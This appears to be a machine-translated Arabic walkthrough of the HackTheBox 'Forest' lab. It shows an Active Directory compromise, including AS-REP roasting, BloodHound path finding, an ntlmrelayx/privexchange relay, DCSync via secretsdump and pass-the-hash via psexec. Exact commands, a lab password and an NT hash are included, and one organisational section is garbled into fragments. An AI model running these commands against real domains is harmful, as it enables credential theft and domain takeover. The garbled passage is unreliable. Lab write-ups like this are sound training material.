هاك ذا بوكس ​​- غابة تجول. تحميص AS-REP ، هجمات DCSync و Pass-the-Hash

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنتعامل مع تحميص AS-REP في مخطط مصادقة Kerberos ، واستخدام BloodHound لاستطلاع النطاق ، وتنفيذ هجوم DCSync PrivExchange ، وهجوم Pass-The-Hash.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.161 ، والذي أضيفه إلى / etc / hosts.
10.10.10.161 forest.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

صورة

كان هناك الكثير من المنافذ المفتوحة على المضيف ، وقررت التأكد من صحة النتائج التي قدمتها ماسكان. للقيام بذلك ، ببساطة مسح حالة المنافذ في nmap.

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

صورة

لكن nmap أكد كل شيء. بعد ذلك ، تحتاج إلى جمع المزيد من المعلومات حول المنافذ المعروفة لـ nmap.

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

صورة

بعد ذلك ، تحتاج إلى الحصول على أكبر قدر ممكن من المعلومات من النظام. لهذا ، استخدمت enum4linux. لكنه قدم لنا القليل من المعلومات. المجموعات ومتطلبات كلمة المرور ونقص SMBv1 والموارد المشتركة ، إلخ. ومع ذلك ، حصلنا على قائمة المستخدمين.

enum4linux -a 10.10.10.161

صورة

نظرًا لأن Kerberos قيد التشغيل على المضيف ، يلزمك التحقق مما إذا كان هناك حساب مستخدم من هذا القبيل تم تعيين علامة DONT_REQ_PREAUTH عليه في UAC. يمكنك معرفة المزيد عن أعلام UAC وما تعنيه هنا . تعني علامة DONT_REQ_PREAUTH أن مصادقة Kerberos غير مطلوبة لهذا الحساب.

أولاً ، اكتشف حسابات المستخدمين النشطة. هذا سوف يساعد في جعل سكربت samrdump مدرجًا مع impacket.

impacket-samrdump forest.htb

صورة

صورة

يعرض البرنامج النصي جميع المستخدمين أولاً ، ثم معلومات تفصيلية حول كل منهم. بهذه الطريقة يمكنك أن ترى أن حساب المسؤول نشط ، والضيف غير نشط. الآن يمكننا عمل قائمة بالمستخدمين النشطين.

صورة

عندما يكون لدينا قائمة بالمستخدمين النشطين ، يمكننا التحقق من توفر العلم الذي نحتاجه. يمكننا القيام بذلك باستخدام البرنامج النصي GetNPUsers ، وهو أيضًا جزء من حزمة impacket. نحدد المجال htb.local ووحدة تحكم المجال 10.10.10.161 وأسلوب مصادقة Kerberos (-k) والخيار بدون كلمة مرور وقائمة المستخدمين.

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

صورة

قيل لنا أن هذا العلم لم يتم تعيينه لجميع المستخدمين باستثناء svc-alfresco. في إصداري من impacket (21-dev) ، يُطلب التجزئة تلقائيًا.

نقطة الدخول - تحميص AS-REP


بضع كلمات حول ما تم إرجاع التجزئة لنا. فيما يلي مخطط مصادقة Kerberos.

صورة

كما ترى ، في المرحلة الأولى: يرسل العميل رسالة بمعرف المستخدم إلى خادم المصادقة AS مع طلب الخدمة نيابة عن المستخدم. يقوم AS بإنشاء مفتاح سري بتجزئة كلمة مرور المستخدم الموجودة في قاعدة البيانات.

بهذه الطريقة يمكننا التمرير خلال التجزئة ومعرفة كلمة المرور. هذا النوع من الهجمات يسمى تحميص AS-REP. احفظ التجزئة في ملف وابحث عن النموذج الأولي.

john --wordlist=./rockyou.txt hashes2.txt

صورة

ونجد كلمة مرور المستخدم.

المستعمل


إذا عدت لفتح المنافذ ، يمكنك العثور على خدمة WinRM (أو إدارة Windows عن بعد) ، مصممة للإدارة عن بعد. لدينا اسم مستخدم وكلمة مرور ، حتى نتمكن من الاتصال به بأمان. لهذا أستخدم الشر winrm .

صورة

لذلك نأخذ المستخدم.

جذر


الذكاء مع BloodHound


الآن نحن بحاجة إلى زيادة امتيازاتنا. من أجل تعيين مسارات LPE في المجال ، يمكنك استخدام برنامج BloodHound .

يسمح لك Evil-winrm بتحميل الملفات من وإلى المضيف. قمت بالتحميل إلى المضيف SharpHound - وحدة نمطية لجمع المعلومات.

صورة

كما يسمح لك evil-winrm بتنفيذ النصوص البرمجية powershell. سنشير إلى المستخدم وكلمة المرور ، ونريد أيضًا معرفة كل ما هو ممكن.

صورة

بعد تنفيذ البرنامج النصي ، سيظهر أرشيف مضغوط في الدليل الحالي. نقوم بتنزيله من المضيف.

صورة

بعد ذلك ، قم بتشغيل DBMS الرسم البياني neo4j الذي يعمل مع BloodHound.

neo4j console

صورة

الآن قم بتشغيل BloodHound. ستقابلنا شاشة فارغة.

صورة

الآن فقط اسحب وأفلت الأرشيف الذي تم تنزيله فيه. وانتقل إلى علامة التبويب الاستعلامات.

صورة

ونقول أننا نريد العثور على أقصر المسارات لمسؤولي المجال. سيقوم BloodHound ببناء رسم بياني - الطريق إلى تقدمنا ​​المستمر. بالضغط على كل عقدة شبكة ، سوف نتلقى معلومات عنها.

صورة

وبالتالي ، قيل لنا أنه يجب أن نصبح عضوًا في مجموعة أذونات Exchange Windows ، لأننا نتعامل مع حسابات خدمة المجموعة المميزة ، وعندئذ فقط يمكننا زيادة الامتيازات.

net user svc-alfresco

صورة

المستخدم ليس في هذه المجموعة حاليًا. دعنا نضيفه ، ثم نتحقق من مجموعات المستخدمين.

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

صورة

تمت إضافة المستخدم إلى المجموعة بنجاح. الآن دعونا نرى ما يمنحنا ذلك. تحتوي مجموعة أذونات Exchange Windows على حقوق WriteDACL (حقوق منح الحقوق) لكائن المجال في Active Directory ، مما يسمح لأي عضو في المجموعة بتغيير امتيازات المجال ، بما في ذلك عمليات DCSync.

DCSync


قليلا عن هجوم DCSync. النسخ المتماثل لـ Active Directory هو العملية التي تتم من خلالها مزامنة التغييرات التي تم إجراؤها على أحد وحدات تحكم المجال مع بقية وحدات التحكم في المجال. عند الحصول على الأذونات اللازمة ، يمكننا بدء طلب النسخ المتماثل ، والذي سيسمح لنا بالحصول على البيانات المخزنة في Active Directory ، بما في ذلك تجزئات كلمة المرور.

أي أنه يمكننا مزامنة تجزئات كلمات مرور مستخدم Active Directory وتسجيل الدخول إلى أي خدمة باستخدام بروتوكولات NTLM (بروتوكول مصادقة شبكة مطور من قبل Microsoft) أو Kerberos. يشمل الهجوم استخدام أداتين ، privexchange.py و ntlmrelayx.py من حزمة impacket.

أولاً ، قم بتشغيل ntlmrelayx في وضع ترحيل LDAP إلى وحدة تحكم المجال باستخدام حساب svc-alfresco.

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

صورة

جميع الخدمات قيد التشغيل وتنتظر الاتصال. استخدم الآن privex.

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

صورة

ثم طرت مجموعة من الأخطاء ، وفتشت بضع دقائق ، تقرر عدم إصلاحها. يمكنك اتباع الرابط أعلاه في المتصفح وتمرير المصادقة باستخدام بيانات اعتماد svc-alfresco. في النافذة مع ntlmrelayx سنرى معلومات الاتصال.

صورة

الآن قم بتنفيذ هجوم DCSync باستخدام secretsdump.

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

صورة

غرامة. تمكنا من نسخ جميع الحسابات.

هجوم التمرير


يسمح هذا الهجوم للمهاجم بتسجيل الدخول إلى خادم بعيد تمت مصادقته باستخدام بروتوكول NTLM أو LM.

في الأنظمة التي تستخدم بروتوكول مصادقة NTLM ، لا يتم إرسال كلمات المرور مطلقًا بنص واضح عبر قناة اتصال. بدلاً من ذلك ، يتم نقلها إلى النظام المناسب (مثل وحدة تحكم المجال) في شكل تجزئات في مرحلة الاستجابة في نظام مصادقة سؤال الإجابة.

تطلب تطبيقات Windows من المستخدم كلمة المرور بشكل واضح ، ثم اتصل بواجهة برمجة التطبيقات (على سبيل المثال ، LsaLogonUser) ، التي تحول كلمة المرور إلى تجزئة LM وتجزئة NTLM وتمريرها أثناء عملية المصادقة. أظهر تحليل البروتوكولات أنه من أجل المصادقة الناجحة ، ليس من الضروري معرفة كلمة المرور في شكل واضح ، بدلاً من ذلك ، يمكن فقط استخدام علامة التجزئة الخاصة بها.

يستند الهجوم إلى ضعف في تنفيذ بروتوكول مصادقة الشبكة. وهو يتألف من حقيقة أن تجزئات كلمة المرور تنتقل دون استخدام الملح ، وبالتالي تظل دون تغيير من جلسة إلى أخرى (حتى يتم تغيير كلمة مرور المستخدم). بمعنى آخر ، بالنسبة للمهاجم ، فإن تجزئات كلمة المرور تعادل كلمات المرور نفسها.

تنفيذ هجوم باستخدام psexec.

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

صورة

نحن في نظام يتمتع بحقوق كاملة.

يمكنك الانضمام إلينا على Telegram . دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles